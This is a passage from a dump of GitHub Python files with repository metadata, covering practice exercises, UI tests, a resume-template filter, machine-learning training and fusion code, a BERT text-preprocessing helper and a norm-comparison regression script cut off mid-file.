justified triangle\"\"\"\nfor i in range(1,6):\n print(f\"{'* '*i: <5}\")\n\n\"\"\"Write a program count the occurrence of a particular word in the file\"\"\"\nw = 'Sindhu'\nc = 0\nwith open(path) as file:\n for line in file:\n if line.strip():\n print(re.findall(w, line))\n # print(re.findall('is', line))\n c += len(re.findall(w, line))\n print(c)\n\n\"\"\"Write a program to map a product to a company and build a dictionary with company and list of products pair\"\"\"\nall_products = ['iPhone', 'Mac', 'Gmail', 'Maps', 'iWatch', 'Windows',\n\t 'iOS', 'Google Drive', 'One Drive']\n# Pre-defined products for different companies\napple_products = {'iPhone', 'Mac', 'iWatch'}\ngoogle_products = {'Gmail', 'Maps', 'Google Drive'}\nmsft_products = {'Windows', 'One Drive'}\nd = defaultdict(list)\nfor product in all_products:\n if product in apple_products:\n d['apple_products'].append(product)\n elif product in google_products:\n d['google_products'].append(product)\n elif product in msft_products:\n d['msft_products'].append(product)\nprint(d)\n\n\"\"\"Write a program to rotate items of the list\"\"\"\nnames = [\"apple\", \"google\", \"yahoo\", \"gmail\", \"facebook\", \"flipkart\", \"amazon\"]\ndef rotat_el_(list_, n):\n for i in range(n):\n res = names.pop()\n names.insert(0, res)\n return names\nprint(rotat_el_(names, 3))\n\n\n\n\n\n","repo_name":"Mohanakasi/Kasi_Python_TestYantra","sub_path":"pattern matching/inter_practice.py","file_name":"inter_practice.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8664364241","text":"import pytest\nfrom dsl.send_secure_message_to_adviser import SecureMessage\n\npytestmark = [pytest.mark.pfp, pytest.mark.pfp_secure_message]\n\n\n@pytest.mark.usefixtures(\"ui_pfp_login_logout\")\ndef test_send_secure_message(config):\n \"\"\" Test Description: Send a secure message and verify \"Compose Message\" dialogue closed\"\"\"\n test = (SecureMessage(config)\n .using_contact_adviser_dialogue()\n .send_basic_message()\n .verify_dashboard_loaded()\n )\n\n\n@pytest.mark.usefixtures(\"ui_pfp_login_logout\", \"api_send_secure_message\")\ndef test_sent_items(config):\n \"\"\" Test Description: Verify that a sent message appears among sent items\"\"\"\n test = (SecureMessage(config)\n .open_secure_messages()\n .open_sent_messages()\n .verify_message_present_in_sent_messages()\n )","repo_name":"intelliflovrk/raj_test_io","sub_path":"userjourneys/test_pfp_secure_message.py","file_name":"test_pfp_secure_message.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30143925558","text":"from LatexTemplater.TemplateFilter import TemplateFilter\nfrom LatexTemplater.TemplateCore import TemplateCore\nfrom typing import Dict, Callable, List\nimport os\ndef registrationInfo() -> Dict[str, Callable[[any], str]]:\n return {\n ProjectFilter.name: ProjectFilter.filter\n }\n\n\nclass ProjectFilter(TemplateFilter):\n name = \"Project\"\n def filter(val: any) -> str:\n name = str(val[\"name\"])\n parent = str(val[\"parent\"])\n startDate = str(val[\"start\"])\n stopDate = str(val[\"stop\"])\n role = str(val[\"role\"])\n description = str(val[\"description\"])\n accomplishments = val[\"accomplishments\"]\n inst = TemplateCore.instance()\n return (inst.filter(\"KeepTogether\", \n inst.filter(\"DoubleLineEntry\", [f\"{name}({parent})\",\n f'{startDate} - {stopDate}',\n f'{role}',\n \"\"\n ]\n ) + description + os.linesep + \n inst.filter(\"Bulleted\", accomplishments) + os.linesep\n ))\n","repo_name":"NathanRoseCE/Resume","sub_path":"Filters/ProjectFilter.py","file_name":"ProjectFilter.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13514953325","text":"'''\nsource: https://medium.com/thecyphy/train-cnn-model-with-pytorch-21dafb918f48\n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom abc import ABCMeta\n\n\nclass RBCModelSL(nn.Module, metaclass=ABCMeta):\n def training_step(self, criterion, data, labels):\n out = self(data) # Generate predictions\n loss = criterion(out, labels) # Calculate loss\n return loss\n\n def validation_step(self, criterion, data, labels):\n out = self(data) # Generate predictions\n loss = criterion(out, labels) # Calculate loss\n _, preds = torch.max(out, dim=1)\n acc = torch.tensor(torch.sum(preds == labels).item() / len(preds)) # Calculate accuracy\n \n return {'val_loss': loss.detach(), 'val_acc': acc}\n \n def validation_epoch_end(self, outputs):\n batch_losses = [x['val_loss'] for x in outputs]\n epoch_loss = torch.stack(batch_losses).mean() # Combine losses\n batch_accs = [x['val_acc'] for x in outputs]\n epoch_acc = torch.stack(batch_accs).mean() # Combine accuracies\n return {'val_loss': epoch_loss.item(), 'val_acc': epoch_acc.item()}\n \n def epoch_end(self, epoch, result):\n print(\"Epoch [{}], train_loss: {:.4f}, val_loss: {:.4f}, val_acc: {:.4f}\".format(\n epoch, result['train_loss'], result['val_loss'], result['val_acc']))\n","repo_name":"AnissaManai/RBC-bot","sub_path":"nn/RBCModel_SL.py","file_name":"RBCModel_SL.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24258915631","text":"\"\"\"\n.. module:: CClassifierGradientTestSVM\n :synopsis: Debugging class for mixin classifier gradient SVM.\n\n.. moduleauthor:: Ambra Demontis \n\n\"\"\"\nfrom secml.ml.classifiers.gradients.tests.test_classes import \\\n CClassifierGradientTest\n\nfrom secml.array import CArray\n\n\nclass CClassifierGradientTestSVM(CClassifierGradientTest):\n __class_type = 'svm'\n\n def params(self, clf):\n \"\"\"Classifier parameters.\"\"\"\n _, i = clf._sv_margin() # only alphas for margin SVs\n return clf.alpha[i].append(CArray(clf.b), axis=None).todense().ravel()\n\n def l(self, x, y, clf):\n \"\"\"Classifier loss.\"\"\"\n loss = clf._loss.loss(y, score=clf.decision_function(x)).atleast_2d()\n return clf.C * loss\n\n def train_obj(self, x, y, clf):\n \"\"\"Classifier training objective function.\"\"\"\n loss = self.l(x, y, clf)\n xs, margin_sv_idx = clf._sv_margin()\n alpha_s = clf.alpha[margin_sv_idx]\n p = clf.kernel.preprocess\n clf.kernel.preprocess = None # remove preproc as xs is already scaled\n reg = alpha_s.atleast_2d().dot(clf.kernel.k(xs, xs).dot(alpha_s.T))\n clf.kernel.preprocess = p\n return clf.C * loss + reg\n\n def change_params(self, params, clf):\n \"\"\"Return a deepcopy of the given classifier with the value\n of the parameters changed.\"\"\"\n new_clf = clf.deepcopy()\n _, i = clf._sv_margin()\n new_clf._alpha[i] = params[:-1]\n new_clf._b = params[-1]\n return new_clf\n","repo_name":"pralab/secml","sub_path":"src/secml/ml/classifiers/gradients/tests/test_classes/c_classifier_gradient_test_svm.py","file_name":"c_classifier_gradient_test_svm.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"31"} +{"seq_id":"38821088152","text":"from hashlib import new\nfrom typing import Optional\n\n\n# Definition for a Node.\nclass Node:\n def __init__(self, x: int, next: \"Node\" = None, random: \"Node\" = None):\n self.val = int(x)\n self.next = next\n self.random = random\n\n\nclass Solution:\n def cloned_node(self, node: \"Optional[Node]\") -> \"Optional[Node]\":\n if not node:\n return None\n try:\n return self.visted_node[node]\n except KeyError:\n self.visted_node[node] = Node(node.val)\n return self.visted_node[node]\n\n def copyRandomList(self, head: \"Optional[Node]\") -> \"Optional[Node]\":\n if not head:\n return None\n\n self.visted_node = {}\n dummy_head = head\n new_head = Node(head.val)\n self.visted_node[head] = new_head\n while head:\n new_head.next = self.cloned_node(head.next)\n new_head.random = self.cloned_node(head.random)\n head, new_head = head.next, new_head.next\n\n return self.visted_node[dummy_head]\n","repo_name":"yuchia0221/Leetcode","sub_path":"Linked List/138-CopyListwithRandomPointer/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"44055669349","text":"import warnings\n\nimport dask.array as da\nimport numpy as np\nimport xarray as xr\n\nfrom multiview_stitcher import fusion, io, sample_data, spatial_image_utils\nfrom multiview_stitcher.io import METADATA_TRANSFORM_KEY\n\n\ndef test_fuse_field():\n sims = io.read_mosaic_image_into_list_of_spatial_xarrays(\n sample_data.get_mosaic_sample_data_path()\n )\n\n for isim, sim in enumerate(sims):\n sims[isim] = spatial_image_utils.sim_sel_coords(\n sim, {\"c\": sim.coords[\"c\"][0], \"t\": sim.coords[\"t\"][0]}\n )\n\n params = [\n spatial_image_utils.get_affine_from_sim(\n sim, transform_key=METADATA_TRANSFORM_KEY\n )\n for sim in sims\n ]\n\n xfused = fusion.fuse_field(\n sims,\n params,\n output_origin=np.min(\n [\n spatial_image_utils.get_origin_from_sim(sim, asarray=True)\n for sim in sims\n ],\n 0,\n ),\n output_spacing=spatial_image_utils.get_spacing_from_sim(\n sims[0], asarray=True\n ),\n output_shape=spatial_image_utils.get_shape_from_sim(\n xr.merge(sims), asarray=True\n ),\n )\n\n # check output is dask array and hasn't been converted into numpy array\n assert type(xfused.data) == da.core.Array\n assert xfused.dtype == sims[0].dtype\n\n\ndef test_fuse_sims():\n sims = io.read_mosaic_image_into_list_of_spatial_xarrays(\n sample_data.get_mosaic_sample_data_path()\n )\n\n # suppress pandas future warning occuring within xarray.concat\n with warnings.catch_warnings():\n warnings.simplefilter(action=\"ignore\", category=FutureWarning)\n\n # test with two channels\n for isim, sim in enumerate(sims):\n sims[isim] = xr.concat([sim] * 2, dim=\"c\").assign_coords(\n c=[sim.coords[\"c\"].data[0], sim.coords[\"c\"].data[0] + \"_2\"]\n )\n\n xfused = fusion.fuse(\n sims,\n transform_key=METADATA_TRANSFORM_KEY,\n )\n\n # check output is dask array and hasn't been converted into numpy array\n assert type(xfused.data) == da.core.Array\n assert xfused.dtype == sims[0].dtype\n\n # xfused.compute()\n xfused = xfused.compute(scheduled=\"threads\")\n\n assert xfused.dtype == sims[0].dtype\n assert (\n METADATA_TRANSFORM_KEY\n in spatial_image_utils.get_tranform_keys_from_sim(xfused)\n )\n","repo_name":"m-albert/multiview-stitcher","sub_path":"src/multiview_stitcher/_tests/test_fusion.py","file_name":"test_fusion.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"31904288285","text":"\"\"\"\n Coordinate Splitter.\n\"\"\"\nimport logging\nimport numpy as np\nfrom .space_splitter import SpaceSplitter\n\nclass CoordinateSplitter(SpaceSplitter):\n \"\"\"Separates the space on one coordinate.\"\"\"\n # pylint: disable=too-many-instance-attributes\n\n def __init__(self, fact_neg, fact_pos):\n super(CoordinateSplitter, self).__init__(fact_neg, fact_pos)\n # Protected\n self._only_upper = False\n # Private\n self.__cut_dim = None\n self.__cut_val = None\n self.__lower_than = None\n self.__eps = np.finfo(float).eps\n self.__only_lower = False\n\n def fit(self, X, y):\n fit_params = self._space_fit(X, y)\n self.best_value = fit_params[\"best_value\"]\n self.__cut_dim = fit_params[\"cut_dim\"]\n self.__cut_val = fit_params[\"cut_val\"]\n self.__lower_than = fit_params[\"lower_than\"]\n self.n_pos = fit_params[\"n_pos\"]\n self.n_neg = fit_params[\"n_neg\"]\n\n def check(self, X):\n return (X[:, self.__cut_dim] <= self.__cut_val) == self.__lower_than\n\n def plot(self, region, *argv, **kwargs):\n region.plot_coord_split(self.__cut_val, self.__cut_dim,\n *argv, **kwargs)\n\n def cut_region(self, region):\n splits = region.split_coord(self.__cut_dim, self.__cut_val)\n if self.__lower_than:\n return splits[1], splits[0]\n return splits\n\n # --------------- Protected methods ---------------\n\n def _space_fit(self, X, y):\n \"\"\"\n Execute line_fit on all of the dimensions of X to find\n the best split for the entropic measure presented in [1],\n page 41. Assumes y in {0,1}.\n\n Refer to the docstring of line_fit for more details.\n \"\"\"\n dims = X.shape[1]\n best_split = {\"best_value\": -float(\"inf\")}\n logging.debug(\"Call space fit\")\n for d in range(dims):\n x = X[:, d]\n cur_split = self._line_fit(x, y)\n if cur_split[\"best_value\"] > best_split[\"best_value\"]:\n best_split = cur_split\n best_split[\"cut_dim\"] = d\n logging.debug(\"Call space fit - dim %s cut_val %.2f lower %s\",\n best_split[\"cut_dim\"], best_split[\"cut_val\"],\n best_split[\"lower_than\"])\n return best_split\n\n def _line_fit(self, x, y):\n r\"\"\"\n Fits a line to optimize for the entropic measure.\n\n Given a weight for the positive instances and negative\n instances, partitions the space of real values as\n [-\\infty, A] or [A, +\\infty] to maximize the entropic\n measure presented in [1], page 41.\n\n :return: A dictionary w/ keys: best_value, cut_val,\n n_neg, n_pos, lower_than.\n\n lower_than is True if the partition is [-\\infty, A],\n and False otherwise. See docstring of unoriented_line_fit\n for a description of others keys.\n \"\"\"\n ind_sort = np.argsort(x)\n y_sorted = y[ind_sort]\n x_sorted = x[ind_sort]\n x_unique = np.unique(x_sorted)\n\n assert not(self.__only_lower and self.__only_lower)\n # logging.debug(\"Call line fit\")\n # We keep the lower split:\n if self.__only_lower:\n best_split_left = self.__unoriented_line_fit(\n y_sorted, x_sorted, x_unique)\n return dict(list(best_split_left.items())\n + [(\"lower_than\", True)])\n\n # We keep the upper split:\n if self._only_upper:\n best_split_right = self.__unoriented_line_fit(\n np.flip(y_sorted, axis=0), np.flip(x_sorted, axis=0),\n x_unique[::-1])\n return dict(list(best_split_right.items())\n + [(\"lower_than\", False)])\n\n # We keep the best split of both sides:\n best_split_left = self.__unoriented_line_fit(\n y_sorted, x_sorted, x_unique)\n best_split_right = self.__unoriented_line_fit(\n np.flip(y_sorted, axis=0), np.flip(x_sorted, axis=0),\n x_unique[::-1])\n\n if best_split_left[\"best_value\"] >= best_split_right[\"best_value\"]:\n return dict(list(best_split_left.items()) + [(\"lower_than\", True)])\n return dict(list(best_split_right.items()) + [(\"lower_than\", False)])\n\n # --------------- Private methods ---------------\n\n def __unoriented_line_fit(self, y_sorted, x_sorted, x_vals):\n r\"\"\"\n Finds a partition of the type [-\\infty, A] that contains\n the elements of x_sorted and maximizes for\n factors[1]*n_pos - factors[2]*n_neg where n_pos and n_neg\n are the numbers of positives (y=1) and negatives (y=0)\n in partition.\n\n :param y_sorted: Array of the class values, sorted\n according to x_sorted. In {0,1}\n :param x_sorted: Array of feature values in R.\n :param x_vals: Unique values of x_sorted.\n\n :return: A dictionary that contains: best_value,\n cut_val, n_neg, n_pos.\n\n The value ext_margin can be negative if x_sorted is descending.\n best_value is the best sum of weights.\n cut_val is the middle of two points of x_sorted or extremes\n points +/- eps.\n n_pos, n_neg are the number of positives and negatives in\n the partition, from y_sorted.\n \"\"\"\n best_split = {\"best_value\": 0., \"cut_val\": x_sorted[0] - self.__eps,\n \"n_neg\": 0, \"n_pos\": 0}\n n_tot = y_sorted.shape[0]\n i_s = 0\n cur_best_val = 0\n # Stores cardinal of neg, pos in split.\n cur_card = np.array([0, 0])\n i_val = 0\n n_vals = len(x_vals)\n while i_val < n_vals:\n delta_card = np.array([0, 0])\n while i_s <= n_tot-1 and x_sorted[i_s] == x_vals[i_val]:\n delta_card += np.array([1-y_sorted[i_s], y_sorted[i_s]])\n i_s += 1\n cur_card += delta_card\n cur_best_val = cur_best_val \\\n + (np.array([self.fact_neg, self.fact_pos])*delta_card).sum()\n # logging.debug(\"cur_best_val %.2f\", cur_best_val)\n if cur_best_val > best_split[\"best_value\"]:\n if i_val == n_vals - 1:\n cut_val = x_vals[i_val] + self.__eps\n else:\n cut_val = (x_vals[i_val] + x_vals[i_val+1])/2\n best_split = {\"best_value\": cur_best_val, \"cut_val\": cut_val,\n \"n_neg\": cur_card[0], \"n_pos\": cur_card[1]}\n i_val += 1\n return best_split\n","repo_name":"RobinVogel/On-Tree-based-methods-for-Similarity-Learning","sub_path":"treerank/split_space/coordinate_splitter.py","file_name":"coordinate_splitter.py","file_ext":"py","file_size_in_byte":6757,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"7968297070","text":"import time\n\nprint(\"\"\"\nHi, this is a smple timer using the time module\n\n\"\"\")\n\n\nlength = int(input(\"how long will you be timing for in seconds \"))\n\n\nrunning = True\nsecond = 0\n\n\nwhile running:\n\n for i in range(length):\n\n time.sleep(1)\n length -= 1\n\n print(length)\n\n if length == 0:\n print(\"timer finished\")\n break\n","repo_name":"LittleGoatBenus/timer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"46268401566","text":"#Mapa/Grafo\n\nmapa = {\n 'Brasília': [('Belo Horizonte' , 600) , ('Fortaleza' , 1600)],\n 'Belo Horizonte' : [('Brasília' , 600), ('Cuiabá' , 1373) , ('Rio de Janeiro' , 340) , ('São Paulo' , 490)],\n 'Cuiabá' : [('Belo Horizonte' , 1373) , ('Manaus' , 1453) , ('Rio de Janeiro' , 1576)],\n 'Curitiba' : [('Florianópolis' , 251) , ('Rio de Janeiro' , 676) , ('São Paulo' , 339)],\n 'Florianópolis' : [('Curitiba' , 251) , ('Porto Alegre' , 376)],\n 'Fortaleza' : [('Brasília' , 1600) , ('Manaus' , 2384) , ('Salvador' , 1028)],\n 'Manaus': [('Cuiabá' , 1453) , ('Fortaleza' , 2384)],\n 'Porto Alegre' : [('Florianópolis' , 376) , ('São Paulo' , 852)],\n 'Rio de Janeiro' : [('Belo Horizonte' , 340) , ('Cuiabá' , 1576) , ('Curitiba' , 676)],\n 'Salvador' : [('Fortaleza' , 1028) , ('São Paulo' , 1454)],\n 'São Paulo' : [('Belo Horizonte' , 490) , ('Curitiba' , 339) , ('Porto Alegre' , 852) , ('Salvador' , 1454)]\n}\n\ncidades = ['Brasília', 'Belo Horizonte', 'Cuiabá', 'Curitiba', 'Florianópolis', 'Fortaleza', 'Manaus', 'Porto Alegre', 'Rio de Janeiro', 'Salvador', 'São Paulo']\n","repo_name":"Christian336/BuscaCustoUniforme","sub_path":"app/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15276357360","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : data_helper.py\r\n# @Author: Zhan\r\n# @Date : 7/17/2019\r\n# @Desc : 预处理数据,创建字典、文本向量\r\n\r\nimport codecs\r\nimport json\r\nimport os\r\n\r\nimport numpy as np\r\n\r\nfrom bert import tokenization\r\nfrom path import *\r\n\r\n\r\n\r\n# FILENAME_ORG = '带标签短信.txt'\r\n# DICTFILE = 'vocab.dict'\r\n# FILENAME = 'dev.csv'\r\n\r\ntokenizer = tokenization.FullTokenizer(VOCAB_FILE)\r\n\r\ndef data_process(text_str):\r\n tokenizer = tokenization.FullTokenizer(VOCAB_FILE)\r\n tokens = tokenizer.tokenize(text_str)\r\n return tokens\r\n\r\ndef load_dict():\r\n word_dict_re = dict()\r\n word_dict = dict()\r\n with open(VOCAB_FILE, encoding='utf-8') as fin:\r\n for i, line in enumerate(fin.readlines()):\r\n word_dict[line[0:len(line)-1]] = i\r\n for k, v in word_dict.items():\r\n word_dict_re[v] = k\r\n return word_dict, word_dict_re\r\n\r\ndef sentence2ids(sentence,dict,max_seq_len=256):\r\n '''\r\n :param sentence:\r\n :param dict:\r\n :return:\r\n '''\r\n ids = []\r\n for word in data_process(sentence):\r\n if word in dict.keys():\r\n ids.append(dict[word])\r\n else:\r\n # 根据字典不同,选不同的标识符\r\n # ids.append(dict['_UNK_'])\r\n ids.append(dict['[UNK]'])\r\n\r\n if len(ids) < max_seq_len:\r\n # 根据字典不同,选不同的标识符\r\n # ids = ids + [dict['_PAD_'] for _ in range(max_seq_len - len(ids))]\r\n ids = ids + [dict['[PAD]'] for _ in range(max_seq_len - len(ids))]\r\n else:\r\n ids = ids[:max_seq_len]\r\n return ids\r\n\r\n# def data_process_bert(text_str):\r\n# tokenizer = tokenization.FullTokenizer(VOCAB_FILE)\r\n# tokens = tokenizer.tokenize(text_str)\r\n# tokens.insert(0,'[CLS]')\r\n# tokens.append(\"[SEP]\")\r\n# ids = tokenizer.convert_tokens_to_ids(tokens)\r\n# # ids = np.asarray(ids,dtype=np.int32)\r\n# return ids\r\n\r\ndef sentence2ids_bert(sentence,):\r\n '''\r\n :param sentence:\r\n :param dict:\r\n :return:\r\n '''\r\n tokens = tokenizer.tokenize(sentence)\r\n tokens.insert(0,'[CLS]')\r\n tokens.append(\"[SEP]\")\r\n ids = tokenizer.convert_tokens_to_ids(tokens)\r\n return ids\r\n\r\n#\r\n# def generateDictFile(minNum=0):\r\n# '''\r\n# 处理文本,生成字典文件\r\n# minNum: 词出现的最小次数 2:\r\n# for word in data_process(line[2:]):\r\n# dict[word] = dict.setdefault(word,0) + 1\r\n#\r\n# i = 0\r\n# rstDict = {}\r\n# for k,v in dict.items():\r\n# if v>=minNum:\r\n# rstDict[k] = i\r\n# i += 1\r\n#\r\n# json_data = json.dumps(rstDict)\r\n#\r\n# dictFile = os.path.join(DATA_PATH,DICTFILE)\r\n# with codecs.open(dictFile, encoding='utf-8', mode='w') as fo:\r\n# fo.write(json_data)\r\n#\r\n# def convert2csv():\r\n# '''\r\n# 将原始短信文件转换为csv文件\r\n# :return:\r\n# '''\r\n# msgFile = os.path.join(DATA_PATH, FILENAME_ORG)\r\n# msgFile_t = os.path.join(DATA_PATH,FILENAME)\r\n#\r\n# # windows 下 用 'w'模式。当文件存在,直接覆盖源文件。\r\n# with codecs.open(msgFile,encoding='utf-8',mode='r') as fi:\r\n# with codecs.open(msgFile_t,encoding='utf-8',mode='w') as fo:\r\n# fo.write('label,text'+os.linesep)\r\n# for line in fi.readlines():\r\n# line = line.strip()\r\n# if len(line) > 0:\r\n# text = line[0] + ','\r\n# text += line[1:].strip().replace(',', ',') + os.linesep\r\n# fo.write(text)\r\n\r\nif __name__ == '__main__':\r\n # # 将原始数据文件转换文csv文件\r\n # convert2csv()\r\n\r\n # generateDictFile(minNum=5)\r\n\r\n exit(0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"passionzhan/flyai_contest","sub_path":"spamMessage_bert/data_helper.py","file_name":"data_helper.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"18576417170","text":"import random\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Cost_func for L2 --> MSE=1/N ∑ (i=1, n)(yi−(wxi+b))**2 -------------------------\r\ndef cost_function(x__, y_hat__, w_current, b_current):\r\n n = len(x__)\r\n total_error=0.0\r\n for i in range(n):\r\n total_error += (y_hat__[i]-(w_current*x__[i] + b_current))**2\r\n return total_error/n\r\n\r\n\r\n# Gradient descent to calculate the gradient of our cost function (in L2) ----------\r\ndef update_w(x__, y_hat__ , w_current , b_current ,learning_rate ):\r\n w_deriv = 0\r\n b_deriv = 0\r\n n = len(x__)\r\n\r\n for i in range(n):\r\n # Calculate partial derivatives\r\n # -2x(y - (mx + b))\r\n w_deriv += -2*x__[i] * (y_hat__[i] - (w_current* x__[i] + b_current))\r\n\r\n # -2(y - (mx + b))\r\n b_deriv = -2*(y_hat__[i] - (w_current*x__[i] + b_current))\r\n \r\n w_current -= (w_deriv / float(n)) * learning_rate\r\n b_current -= (b_deriv / float(n)) * learning_rate \r\n\r\n return w_current , b_current\r\n\r\n# Training a model (norm_2) ---------------------------------------------------------\r\n# Training is complete when we reach an acceptable error threshold, \r\n# or when subsequent training iterations fail to reduce our cost.\r\ndef train_l2( x_ , y_hat_ , w_ ,b_ , learning_rate , iters):\r\n \r\n cost_func_history = []\r\n for i in range(iters):\r\n w_ , b_ = update_w(x_ , y_hat_ , w_ , b_ , learning_rate)\r\n\r\n #Calculate cost for auditing purposes\r\n cost = cost_function(x_ , y_hat_ , w_ , b_)\r\n cost_func_history.append(cost)\r\n if i % 10 == 0:\r\n print (\"iter: \"+str(i) + \" cost: \"+str(cost))\r\n y = x_ * w_ + b_\r\n #plt.plot(x_ , y ,ls = '--')\r\n #plt.show()\r\n\r\n return w_ , b_ , cost_func_history\r\n\r\n# Plot for L2 -----------------------------------------------------------------------\r\ndef show_plot_l2(x , y_hat ,W , B , n_iterations , cost_history):\r\n plt.scatter(x ,y_hat, c='purple') # show data point \r\n\r\n y_hat = x*W + B \r\n\r\n plt.plot(x , y_hat , c= 'red', ls = '--')\r\n plt.xlabel('x axis ')\r\n plt.ylabel('y_hat axis')\r\n plt.grid()\r\n plt.title('Norm - L2 ')\r\n plt.show()\r\n\r\n plt.plot(np.arange(n_iterations) , cost_history)\r\n plt.grid()\r\n plt.xlabel('Training Iterations ')\r\n plt.ylabel('Mean Squared Error ')\r\n plt.title('Error rate')\r\n plt.show()\r\n\r\n# L1 functions ----------------------------------------------------------------------\r\ndef cost_func_l1(w_ , b_ , x_ , y_):\r\n y_tilda = w_ * x_ + b_\r\n error = np.sum(np.abs(y_tilda - y_))\r\n return error , y_tilda\r\n\r\ndef update_W_B(w_l , b_l , w_u , b_u , x__ ,y__):\r\n \r\n #np.sum(np.abs(y_tilda_1 - y_))\r\n error_u , y_u = cost_func_l1(w_u,b_u ,x__ , y__)\r\n error_l , y_l= cost_func_l1(w_l,b_l ,x__ , y__)\r\n if error_u < error_l:\r\n b_l = (b_l + b_u)/2\r\n w_l = (w_l + w_u)/2\r\n #w_l += .5\r\n else:\r\n b_u = (b_l + b_u)/2\r\n w_u = (w_l + w_u)/2\r\n #w_u -= .5\r\n\r\n return w_l , b_l , w_u , b_u\r\n\r\n# Trai_l1 ---------------------------------------------\r\ndef train_l1 ( x_ , y_ , iters ):\r\n cost_history = []\r\n\r\n wL = -100\r\n wU = 100\r\n bL = random.uniform(-100,100)\r\n bU = random.uniform(-100,100)\r\n \r\n for i in range(0,iters):\r\n wL , bL , wU , bU = update_W_B(wL , bL , wU , bU , x_ ,y_)\r\n error , yU = cost_func_l1(wU , bU , x_ , y_)\r\n cost_history.append(error)\r\n if i % 10 == 0:\r\n print (\"iter: \"+str(i) + \" cost: \"+str(error))\r\n #plt.plot(x_ , yU ,ls = '--')\r\n \r\n errorU , yU = cost_func_l1(wU , bU , x_ , y_)\r\n errorl , yl = cost_func_l1(wL , bL , x_ , y_)\r\n\r\n if errorl <= errorU :\r\n return wL , bL , cost_history\r\n else:\r\n return wU , bU , cost_history\r\n\r\n# Linfi functions -------------------------------------------------------------------\r\n\r\ndef cost_func_linfi(w_ , b_ , x_ , y_):\r\n y_tilda = w_ * x_ + b_\r\n error = np.max(np.abs(y_tilda - y_))\r\n return error , y_tilda\r\n\r\ndef update_W_B_infi(w_l , b_l , w_u , b_u , x__ ,y__):\r\n \r\n #np.sum(np.abs(y_tilda_1 - y_))\r\n error_u , y_u = cost_func_linfi(w_u,b_u ,x__ , y__)\r\n error_l , y_l= cost_func_linfi(w_l,b_l ,x__ , y__)\r\n if error_u < error_l:\r\n b_l = (b_l + b_u)/2\r\n w_l = (w_l + w_u)/2\r\n #w_l += .5\r\n else:\r\n b_u = (b_l + b_u)/2\r\n w_u = (w_l + w_u)/2\r\n #w_u -= .5\r\n\r\n return w_l , b_l , w_u , b_u\r\n\r\n# Trai_linfi ---------------------------------------------\r\ndef train_linfi ( x_ , y_ , iters ):\r\n cost_history = []\r\n\r\n wL = -100\r\n wU = 100\r\n bL = random.uniform(-100,100)\r\n bU = random.uniform(-100,100)\r\n \r\n for i in range(0,iters):\r\n wL , bL , wU , bU = update_W_B_infi(wL , bL , wU , bU , x_ ,y_)\r\n error , yU = cost_func_linfi(wU , bU , x_ , y_)\r\n cost_history.append(error)\r\n if i % 10 == 0:\r\n print (\"iter: \"+str(i) + \" cost: \"+str(error))\r\n #plt.plot(x_ , yU ,ls = '--')\r\n \r\n errorU , yU = cost_func_linfi(wU , bU , x_ , y_)\r\n errorl , yl = cost_func_linfi(wL , bL , x_ , y_)\r\n\r\n if errorl <= errorU :\r\n return wL , bL , cost_history\r\n else:\r\n return wU , bU , cost_history\r\n\r\n# L1 functions ----------------------------------------------------------------------\r\n\r\ndef cost_func_l0(m_ , b_, x , y):\r\n n = len(x)\r\n cost = 0\r\n y_tilda = m_*x + b_\r\n y_hat = y_tilda - y\r\n for i in range(n):\r\n if y_hat[i] != 0:\r\n cost += 1\r\n return cost\r\n\r\ndef train_l0 ( x , y ,n):\r\n \r\n m = []\r\n b = []\r\n cost_ = []\r\n count = 0\r\n for i in range(n):\r\n for j in range (i+1 , n):\r\n m.append((y[j]-y[i])/(x[j]- x[i]))\r\n b.append(-m[count]*x[i]+ y[i])\r\n count += 1\r\n for i in range (count):\r\n #m , b = update_m_b_l0 ( m , b , x , y)\r\n cost = cost_func_l0(m[i] , b[i], x , y)\r\n cost_.append(cost)\r\n cost = min(cost_)\r\n #print(count)\r\n M = sum(m)/ len(m)\r\n #print(M)\r\n index = 0\r\n for i in range(count):\r\n if np.abs(M - m[i]) < 0.01 and cost_[i] == cost:\r\n M = m[i]\r\n index = i \r\n break\r\n w_answer = M\r\n b_answer = b[index]\r\n return w_answer , b_answer\r\n# Main -----------------------------------------------------------------------------\r\n\r\n# set x and y_hat \r\nn = int(input('enter n:'))\r\nx = np.random.uniform(1.0,200.0,n)\r\n#print (x)\r\n\r\nW = random.uniform(-100,100)\r\nB = random.uniform(-100,100)\r\n\r\nY = x*W + B\r\nplt.plot(x , Y , c = 'blue')\r\n#print(Y)\r\n#y_hat = Y + np.random.uniform(0,10.0,n)\r\ny_hat = np.zeros(n, float)\r\nfor i in range(n):\r\n y_hat[i]= Y[i]+ random.uniform(0,10)\r\n#print(y_hat) \r\n\r\n# 